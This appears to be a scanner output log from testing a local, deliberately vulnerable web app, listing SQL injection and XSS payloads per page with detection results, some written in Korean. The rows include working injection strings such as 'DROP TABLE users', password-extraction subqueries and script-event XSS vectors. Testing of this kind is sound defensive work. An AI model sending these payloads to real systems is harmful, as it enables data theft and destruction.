sql_injection	http://localhost:8000/vulnerabilities/csp	' OR '1'='1' #	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.23s

sql_injection	http://localhost:8000/vulnerabilities/csp	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.23s
xss	http://localhost:8000/vulnerabilities/csp	<script>alert('XSS')</script>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	"><script>alert('XSS')</script>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<img src=x onerror=alert('XSS')>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<svg/onload=alert('XSS')>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<body onload=alert('XSS')>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<details open ontoggle=alert('XSS')>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<input autofocus onfocus=alert('XSS')>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<video><source onerror=alert('XSS')>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<a href='javascript:alert(XSS)'\>Click</a>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<p/onclick=alert(/XSS/)>a	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<script>\$=1,alert(\$)</script>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<script>alert(1)	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<script>alert(1)<!--XSS	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	"><svg/onload=confirm(1)>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<button form=test onformchange=alert(1)>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<form><button formaction="javascript:alert(1)">	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	<details ontoggle=alert('XSS') open>	XSS	200	0.24s
xss	http://localhost:8000/vulnerabilities/csp	"><svg/onload=confirm(1)>	XSS	200	0.25s

sql_injection	http://localhost:8000/login.php	' OR 1=1 --	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	' OR '1'='1	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	' OR 'a'='a	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	'; DROP TABLE users; --	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	' OR '1'='1' /*	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	' OR '1'='1' ({	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	' OR '1'='1' #	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	1' OR sleep(5)--	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.25s
sql_injection	http://localhost:8000/login.php	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.26s
sql_injection	http://localhost:8000/login.php	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.26s
sql_injection	http://localhost:8000/login.php	admin' --	취약점 없음	200	0.26s
sql_injection	http://localhost:8000/login.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.26s
sql_injection	http://localhost:8000/login.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.26s
xss	http://localhost:8000/login.php	<script>alert('XSS')</script>	취약점 없음	200	0.26s
xss	http://localhost:8000/login.php	<img src=x onerror=alert('XSS')>	취약점 없음	200	0.26s
xss	http://localhost:8000/login.php	""><script>alert('XSS')</script>	취약점 없음	200	0.26s
xss	http://localhost:8000/login.php	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음	200	0.26s
xss	http://localhost:8000/login.php	<details open ontoggle=alert('XSS')>	취약점 없음	200	0.26s
xss	http://localhost:8000/login.php	<body onload=alert('XSS')>	취약점 없음	200	0.26s
xss	http://localhost:8000/login.php	<svg/onload=alert('XSS')>	취약점 없음	200	0.26s
xss	http://localhost:8000/login.php	<input autofocus onfocus=alert('XSS')>	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	<video><source onerror=alert('XSS')>	취약점 없음	200	0.27s



xss	http://localhost:8000/login.php	<a href='javascript:alert(XSS)'>Click</a>	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	<script>\$=1,alert(\$)</script>	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	<p/onclick=alert(/XSS/)>a	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	<script>alert(1)	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	"><svg/onload=confirm(1)>	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	<math><mtext></mtext><script>alert('XSS')</script></math>	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	<button form=test onformchange=alert(1)>	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	<form><button formaction="javascript:alert(1)">	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	<script>alert(1)<!--XSS	취약점 없음	200	0.27s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1	취약점 없음	200	0.27s
xss	http://localhost:8000/login.php	"><svg/onload=confirm(1)>	취약점 없음	200	0.27s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR 1=1 --	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR 'a'='a	취약점 없음	200	0.28s
xss	http://localhost:8000/login.php	<details ontoggle=alert('XSS') open>	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	'; DROP TABLE users; --	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1' /*	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1' ({	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	admin' --	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR '1'='1' #	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	1' OR sleep(5)--	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.28s

sql_injection	http://localhost:8000/vulnerabilities/xss_r	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.28s
sql_injection	http://localhost:8000/vulnerabilities/xss_r	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.28s
xss	http://localhost:8000/vulnerabilities/xss_r	<script>alert('XSS')</script>	XSS	200	0.28s
xss	http://localhost:8000/vulnerabilities/xss_r	<svg/onload=alert('XSS')>	XSS	200	0.28s
xss	http://localhost:8000/vulnerabilities/xss_r	"><script>alert('XSS')</script>	XSS	200	0.28s
xss	http://localhost:8000/vulnerabilities/xss_r	<img src=x onerror=alert('XSS')>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<body onload=alert('XSS')>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<details open ontoggle=alert('XSS')>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<input autofocus onfocus=alert('XSS')>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<video><source onerror=alert('XSS')>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<a href='javascript:alert(XSS)'">Click</a>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<p/onclick=alert(/XSS/)>a	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<script>\$=1,alert(\$)</script>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<script>alert(1)	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<script>alert(1)<!--XSS	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	"><svg/onload=confirm(1)>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<button form=test onformchange=alert(1)>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<form><button formaction="javascript:alert(1)">	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	<details ontoggle=alert('XSS') open>	XSS	200	0.29s
xss	http://localhost:8000/vulnerabilities/xss_r	"><svg/onload=confirm(1)>	XSS	200	0.29s

sql_injection	http://localhost:8000/vulnerabilities/xss_s	' OR '1'='1	취약점 없음	200	0.29s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' OR 1=1 --	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	'; DROP TABLE users; --	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' OR 'a'='a	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' OR '1'='1' /*	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	admin' --	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' OR '1'='1' ({	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' OR '1'='1' #	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	1' OR sleep(5)--	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.30s
sql_injection	http://localhost:8000/vulnerabilities/xss_s	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.30s
xss	http://localhost:8000/vulnerabilities/xss_s	<script>alert('XSS')</script>	XSS	200	0.30s
xss	http://localhost:8000/vulnerabilities/xss_s	""><script>alert('XSS')</script>	XSS	200	0.30s
xss	http://localhost:8000/vulnerabilities/xss_s	<img src=x onerror=alert('XSS')>	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<svg/onload=alert('XSS')>	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<body onload=alert('XSS')>	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<details open ontoggle=alert('XSS')>	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<input autofocus onfocus=alert('XSS')>	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<video><source onerror=alert('XSS')>	XSS	200	0.31s

xss	http://localhost:8000/vulnerabilities/xss_s	<a href='javascript:alert(XSS)'>Click</a>	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<p/onclick=alert(/XSS/)>a	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<script>\$=1,alert(\$)</script>	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<script>alert(1)	XSS	200	0.31s
xss	http://localhost:8000/vulnerabilities/xss_s	<script>alert(1)<!--XSS	XSS	200	0.32s
xss	http://localhost:8000/vulnerabilities/xss_s	"><svg/onload=confirm(1)>	XSS	200	0.32s
xss	http://localhost:8000/vulnerabilities/xss_s	<button form=test onformchange=alert(1)>	XSS	200	0.32s
xss	http://localhost:8000/vulnerabilities/xss_s	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.32s
xss	http://localhost:8000/vulnerabilities/xss_s	<form><button formaction="javascript:alert(1)">	XSS	200	0.32s
xss	http://localhost:8000/vulnerabilities/xss_s	<details ontoggle=alert('XSS') open>	XSS	200	0.32s
xss	http://localhost:8000/vulnerabilities/xss_s	'"><svg/onload=confirm(1)>	XSS	200	0.32s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR '1'='1	취약점 없음	200	0.32s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR 1=1 --	SQL Injection	200	0.32s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR 'a'='a	취약점 없음	200	0.32s
sql_injection	http://localhost:8000/vulnerabilities/brute	'; DROP TABLE users; --	SQL Injection	200	0.32s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR '1'='1' /*	SQL Injection	200	0.32s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR '1'='1' ({	SQL Injection	200	0.33s
sql_injection	http://localhost:8000/vulnerabilities/brute	admin' --	SQL Injection	200	0.33s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR '1'='1' #	취약점 없음	200	0.33s
sql_injection	http://localhost:8000/vulnerabilities/brute	1' OR sleep(5)--	SQL Injection	200	0.33s
sql_injection	http://localhost:8000/vulnerabilities/brute	' UNION SELECT NULL, NULL, NULL --	SQL Injection	200	0.33s
sql_injection	http://localhost:8000/vulnerabilities/brute	' AND 1=2 UNION SELECT 1,2,3 --	SQL Injection	200	0.33s
sql_injection	http://localhost:8000/vulnerabilities/brute	' OR EXISTS(SELECT * FROM users) --	SQL Injection	200	0.33s

sql_injection	http://localhost:8000/vulnerabilities/brute	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	SQL Injection	200	0.33s
sql_injection	http://localhost:8000/vulnerabilities/brute	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	SQL Injection	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<script>alert('XSS')</script>	취약점 없음	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	"><script>alert('XSS')</script>	XSS	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<img src=x onerror=alert('XSS')>	취약점 없음	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<svg/onload=alert('XSS')>	취약점 없음	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<body onload=alert('XSS')>	취약점 없음	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<details open ontoggle=alert('XSS')>	취약점 없음	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<input autofocus onfocus=alert('XSS')>	취약점 없음	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<video><source onerror=alert('XSS')>	취약점 없음	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<a href='javascript:alert(XSS)'\>Click</a>	XSS	200	0.33s
xss	http://localhost:8000/vulnerabilities/brute	<p/onclick=alert(/XSS/)>a	XSS	200	0.34s
xss	http://localhost:8000/vulnerabilities/brute	<script>\$=1,alert(\$)</script>	XSS	200	0.34s
xss	http://localhost:8000/vulnerabilities/brute	<script>alert(1)	XSS	200	0.34s
xss	http://localhost:8000/vulnerabilities/brute	<script>alert(1)<!--XSS	XSS	200	0.34s
xss	http://localhost:8000/vulnerabilities/brute	"><svg/onload=confirm(1)>	XSS	200	0.34s
xss	http://localhost:8000/vulnerabilities/brute	<math><mtext></mtext><script>alert('XSS')</script></math>	취약점 없음	200	0.34s
xss	http://localhost:8000/vulnerabilities/brute	<button form=test onformchange=alert(1)>	XSS	200	0.34s
xss	http://localhost:8000/vulnerabilities/brute	<form><button formaction="javascript:alert(1)">	XSS	200	0.34s
xss	http://localhost:8000/vulnerabilities/brute	<details ontoggle=alert('XSS') open>	취약점 없음	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1	취약점 없음	200	0.34s

xss	http://localhost:8000/vulnerabilities/brute	'"><svg/onload=confirm(1)>	XSS	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR 1=1 --	취약점 없음	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR 'a'='a	취약점 없음	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	'; DROP TABLE users; --	취약점 없음	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' /*	취약점 없음	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' ({	취약점 없음	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	admin' --	취약점 없음	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' #	취약점 없음	200	0.34s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	1' OR sleep(5)--	취약점 없음	200	0.35s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.35s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.35s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.35s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.35s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	'"><script>alert('XSS')</script>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert('XSS')</script>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<svg/onload=alert('XSS')>	XSS	200	0.35s

xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<img src=x onerror=alert('XSS')>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<body onload=alert('XSS')>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<details open ontoggle=alert('XSS')>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<video><source onerror=alert('XSS')>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<input autofocus onfocus=alert('XSS')>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<p/onclick=alert(/XSS/)>a	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<a href='javascript:alert(XSS)''>Click</a>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>\$=1,alert(\$)</script>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert(1)<!--XSS	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert(1)	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	"><svg/onload=confirm(1)>	XSS	200	0.35s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<button form=test onformchange=alert(1)>	XSS	200	0.36s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<details ontoggle=alert('XSS') open>	XSS	200	0.36s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<form><button formaction="javascript:alert(1)">	XSS	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR 1=1 --	취약점 없음	200	0.36s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	"><svg/onload=confirm(1)>	XSS	200	0.36s

sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	'; DROP TABLE users; --	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR 'a'='a	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	admin' --	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' /*	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' ({	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR '1'='1' #	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	1' OR sleep(5)--	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.36s
sql_injection	http://localhost:8000/vulnerabilities/cryptography/index.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.36s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert('XSS')</script>	XSS	200	0.36s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<img src=x onerror=alert('XSS')>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	""><script>alert('XSS')</script>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.37s



xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<svg/onload=alert('XSS')>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<body onload=alert('XSS')>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<details open ontoggle=alert('XSS')>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<input autofocus onfocus=alert('XSS')>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<video><source onerror=alert('XSS')>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<p/onclick=alert(/XSS/)>a	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<a href='javascript:alert(XSS)'>Click</a>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>\$=1,alert(\$)</script>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert(1)	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	"><svg/onload=confirm(1)>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<script>alert(1)<!--XSS	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<form><button formaction="javascript:alert(1)">	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<button form=test onformchange=alert(1)>	XSS	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	<details ontoggle=alert('XSS') open>	XSS	200	0.37s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR '1'='1	취약점 없음	200	0.37s
xss	http://localhost:8000/vulnerabilities/cryptography/index.php	""><svg/onload=confirm(1)>	XSS	200	0.37s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR 'a'='a	취약점 없음	200	0.37s

sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR 1=1 --	취약점 없음	200	0.37s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	'; DROP TABLE users; --	취약점 없음	200	0.37s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR '1'='1' /*	취약점 없음	200	0.37s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR '1'='1' ({	취약점 없음	200	0.37s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	admin' --	취약점 없음	200	0.37s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	1' OR sleep(5)--	취약점 없음	200	0.38s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR '1'='1' #	취약점 없음	200	0.38s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.38s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.38s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.38s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.38s
sql_injection	http://localhost:8000/vulnerabilities/cryptography	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<script>alert('XSS')</script>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	""><script>alert('XSS')</script>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<img src=x onerror=alert('XSS')>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<svg/onload=alert('XSS')>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.38s

xss	http://localhost:8000/vulnerabilities/cryptography	<body onload=alert('XSS')>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<details open ontoggle=alert('XSS')>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<input autofocus onfocus=alert('XSS')>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<video><source onerror=alert('XSS')>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<a href='javascript:alert(XSS)'>Click</a>	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<p/onclick=alert(/XSS/)>a	XSS	200	0.38s
xss	http://localhost:8000/vulnerabilities/cryptography	<script>\$=1,alert(\$)</script>	XSS	200	0.39s
xss	http://localhost:8000/vulnerabilities/cryptography	<script>alert(1)	XSS	200	0.39s
xss	http://localhost:8000/vulnerabilities/cryptography	<script>alert(1)<!--XSS	XSS	200	0.39s
xss	http://localhost:8000/vulnerabilities/cryptography	"><svg/onload=confirm(1)>	XSS	200	0.39s
xss	http://localhost:8000/vulnerabilities/cryptography	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.39s
xss	http://localhost:8000/vulnerabilities/cryptography	<button form=test onformchange=alert(1)>	XSS	200	0.39s
xss	http://localhost:8000/vulnerabilities/cryptography	<form><button formaction="javascript:alert(1)">	XSS	200	0.39s
xss	http://localhost:8000/vulnerabilities/cryptography	<details ontoggle=alert('XSS') open>	XSS	200	0.39s
xss	http://localhost:8000/vulnerabilities/cryptography	'"><svg/onload=confirm(1)>	XSS	200	0.39s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR '1'='1	취약점 없음	200	0.39s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR 1=1 --	SQL Injection	200	0.39s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR 'a'='a	취약점 없음	200	0.39s
sql_injection	http://localhost:8000/vulnerabilities/sqli	'; DROP TABLE users; --	SQL Injection	200	0.39s

sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR '1'='1' /*	SQL Injection	200	0.40s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR '1'='1' ({	SQL Injection	200	0.40s
sql_injection	http://localhost:8000/vulnerabilities/sqli	admin' --	SQL Injection	200	0.40s
sql_injection	http://localhost:8000/vulnerabilities/sqli	' OR '1'='1' #	취약점 없음	200	0.40s
